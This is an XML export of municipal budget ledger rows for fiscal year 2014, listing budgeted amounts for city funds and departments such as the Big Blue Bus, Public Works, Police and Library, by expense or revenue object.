<row _id="5267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="5268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44126.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44126.0</total></row>
<row _id="5269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="5270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522546.0</object><object_description>MEDIA BUYS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18081.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18081.0</total></row>
<row _id="5271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544113.0</object><object_description>ONBOARD MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99596.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>99596.0</total></row>
<row _id="5272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544119.0</object><object_description>PUBLIC RELATIONS SVC.</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="5273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522134.0</object><object_description>UTIL-WATER-PARKING AUTH</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47742.0</total></row>
<row _id="5274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522184.0</object><object_description>BANK FEES-PARKING AUTHORITY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="5275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35129.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35129.0</total></row>
<row _id="5276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404090.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1698160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1698160.0</total></row>
<row _id="5277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>246327.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>246327.0</total></row>
<row _id="5278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29418.0</total></row>
<row _id="5279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>210.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>210.0</total></row>
<row _id="5280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400420.0</object><object_description>SKATE PARK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-32020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-32020.0</total></row>
<row _id="5281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>256250.0</total></row>
<row _id="5282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>625793.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>625793.0</total></row>
<row _id="5283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11303.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11303.0</total></row>
<row _id="5284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5640.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5640.0</total></row>
<row _id="5285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400690.0</object><object_description>PLAN CHECK FEES-ENGINEERING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-383728.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-383728.0</total></row>
<row _id="5286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1947.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1947.0</total></row>
<row _id="5287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>351.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>351.0</total></row>
<row _id="5288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="5289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588040.0</object><object_description>COMMUNICATIONS SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="5290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>248400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>248400.0</total></row>
<row _id="5291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>394012.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>394012.0</total></row>
<row _id="5292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23600.0</total></row>
<row _id="5293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2152073.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2152073.0</total></row>
<row _id="5294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1188.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="5295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400191.0</object><object_description>STREET PERFORMERS PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-47000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="5296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="5297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401270.0</object><object_description>LEASED BEACH CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-540000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-540000.0</total></row>
<row _id="5298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21525.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21525.0</total></row>
<row _id="5299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>640565.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>640565.0</total></row>
<row _id="5300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522315.0</object><object_description>MULTIMEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13633.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13633.0</total></row>
<row _id="5301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522151.0</object><object_description>STORMWATER MANAGEMENT-GF</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7053.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7053.0</total></row>
<row _id="5302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-337744.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-337744.0</total></row>
<row _id="5303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>337744.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>337744.0</total></row>
<row _id="5304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31519.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31519.0</total></row>
<row _id="5305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402000.0</object><object_description>PASSENGER REVENUE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-14413839.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14413839.0</total></row>
<row _id="5306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404280.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-398542.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-398542.0</total></row>
<row _id="5307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2563.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2563.0</total></row>
<row _id="5308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42380.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42380.0</total></row>
<row _id="5309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="5310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>187298.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>187298.0</total></row>
<row _id="5311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12500.0</total></row>
<row _id="5312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2400000.0</total></row>
